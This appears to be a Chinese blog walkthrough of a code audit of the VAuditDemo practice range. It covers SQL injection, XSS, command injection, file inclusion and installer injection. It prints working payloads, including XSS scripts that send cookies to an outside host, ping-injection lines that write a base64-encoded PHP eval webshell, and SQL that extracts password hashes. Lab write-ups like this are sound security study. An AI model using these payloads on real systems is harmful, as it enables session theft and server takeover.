针对VAuditDemo经典靶场进行的代码审计和漏洞查找

  • 1、登录页面缺少,错误登录限制,以及验证码通过,爆破字典方式可以直接获取用户密码

  • 源码部分确实没有登录限制

  • 2、文件包含漏洞

  • 查看源码,是后缀增加.inc的格式

  • 因为其最后添加inc的方式,php伪协议中只有phar和zip可以使用

  • 文件上传,只能图片文件

  • u_ 当前时间戳_原来的文件名

  • 使用php函数来解析名字

<?php
echo strtotime('Tue, 14 Feb 2023 15:13:56 GMT');
?>
  • 之后在对其进行phar访问

  • 该漏洞可以写入木马,危害较大

  • 开启远程文件包含以后,可以进行data

  • 3、搜索sql注入

  • 根据报告,存在注入,但 ' 号被过滤

  • 查看源码,使用sqlwaf()过滤了

  • 在/sys/lib.php文件中找到了 sqlwaf()函数

  • 因为过滤内容太多,只能获取一些简单的内容

  • 4、水平越权

  • 登录一个账户,修改自己名字

  • 抓包修改,id和名字

  • 成功修改他人名字

  • 5、IP记录XSS存储型

  • 因为过往ip只进行了sqlwaf的过滤

  • 登录任意一个账户抓包修改

  • 查看源码,获取http头部值,并进行比较如果,有多种头可以使用

  • 通过名字就知道,X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。

<script>document.write('<img src="http://192.168.18.141/sefa15/ssrf/cookie.php?cookie='+document.cookie+'"')</script>
  • 6、XSS注入,反射型

  • 尝试传输cookie对双引号进行了绕过

http://192.168.18.182:81/search.php?search=<script>location.href=`http://192.168.18.141/sefa15/ssrf/cookie.php?cookie=`%2Bdocument.cookie</script>
  • 搜索框可以获取,通过反射型获取cookie,+改%2B,"号改`

  • 7、管理员用户,登录验证码重复使用

  • 查看源码,session保存了验证码,导致不刷新session的值一直保存了不变,从而可以绕过验证码

  • 进行验证,使用正确的登录,登录成功

  • 使用错误密码,验证码不变

  • 账号密码正确,验证码错误,登录失败

  • 再次用回原本验证码,登录成功

  • 拓展一下,管理员登录绕过密码

  • 删除cookie,使得seesion值为空,删除验证码值,使得也为空,从而满足源码中条件,就可以不写验证码直接绕过

  • 8、命令注入,管理员使用ping的命令注入

  • 查看源码没有对,管理员输入的ping进行过滤,而是直接执行,但在实际使用上出现了一些过滤

  • 直接消除,"转义,'直接消失

  • 因此采用一些方法进行绕过

127.0.0.1&&echo PD9waHAgcGhwaW5mbygpOz8+ >> /opt/lampp/htdocs/vaudit/VAuditDemo_Debug/uploads/shell.txt
  • 使用&&同时执行后面命令,将木马进行base64加密,写入

127.0.0.1&&base64 -d /opt/lampp/htdocs/vaudit/VAuditDemo_Debug/uploads/shell.txt >> /opt/lampp/htdocs/vaudit/VAuditDemo_Debug/uploads/shell.php
  • 之后使用base64 -d 进行解码并写入php文件中

  • 一句话简单版

127.0.0.1;echo PD9waHAgZXZhbCgkX1BPU1RbJ2NvZGUnXSk7Pz4= | base64 -d > /opt/lampp/htdocs/vaudit/VAuditDemo_Debug/uploads/shell.php
  • 还可以反弹shell

  • 9、二次注入,在更改密码处

  • 注册,HK和HK‘#,通过修改,HK'#的密码,却修改HK的密码

  • 10、二次注入,留言板和用户名组合

  • 首先,要从注册页面开始理解,注册一个用户

  • 注册用户会调用clean_input函数进行,过滤,接下来来看看clean_input

  • 该函数有两个作用,mysql_real是过滤mysql的特殊符号的,strips的作用是,去除由addslashes()添加的反斜杠,之前在sec函数添加的单引号也是两个,到此时写入数据库的内容应该是xxx\\,之后由于添加数据库时的自动转义,数据库内的数据应该是xxx\

  • 查看源码,变量从session获取,而seeeion是从数据库直接获取的,用户名为xxx\的时候,然后经过clean_input的stripslashes变成xxx\,再经过clean_input的mysql_real_escape_string又变成xxx\,这是前面的\转义了后面的\

  • 注入点是,通过from提交的留言板内容

  • 在此处进行sql语句执行,现在我们进行尝试

  • ,(select admin_pass from admin limit 0,1),1);#,前面是我在留言版写入的内容

  • SELECT GROUP_CONCAT(CONCAT_WS('==',user_name,user_pass)) FROM users; 获取全部数据

  • 通过抓包可以看到,实际添加进入数据库时的内容

  • 注意,此时还是会被clean_input防御

  • 11、任意文件读取

  • 上传位置

  • 更新用户信息,在这里将数据写入,

Array
(
    [name] => 新建文本文档.txt
    [type] => text/plain
    [tmp_name] => /opt/lampp/temp/phpPTMOWi
    [error] => 0
    [size] => 0
)
使用$_FILES['upfile']获取的值
  • $avatar,是路径拼接和命名一起,../uploads/u_时间戳_名字

  • ../uploads/u_1676474904_新建文本文档.jpg

  • 只判断了后缀,意味着很容易绕过

  • 通过file_get读取,并输出

  • 在已经了解全部后,进行一个拼接sql

  • ../uploads/u_1676474904_新建文本文档.jpg 后面这部分我们可控,由此可以读取任何文件(SSRF漏洞)

  • 因为使用file获取时,不能获取路径

  • 使用16进制绕过成功

  • 13、安装漏洞

  • 测试前,将判断是否存在代码注释

  • 下面这段代码判断是否可以写入,以及路径是否可以使用

  • 写入,地方没有进行过滤,而是直接使用

  • 注意,payload要同时,满足msyql语句和后面的php语句

  • vauditdemo2 -- ";phpinfo();// 这是准备好的payload

  • 实际注入时, CREATE DATABASE vauditdemo2 -- ";phpinfo();// ,根据mysql的规则,--注释后面,//则是注释php后面部分,最后当写入,config.php时变成

  • 注入成功,当然也可以使用一句马,vauditdemo2 -- ";eval($_POST['cost']);//

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐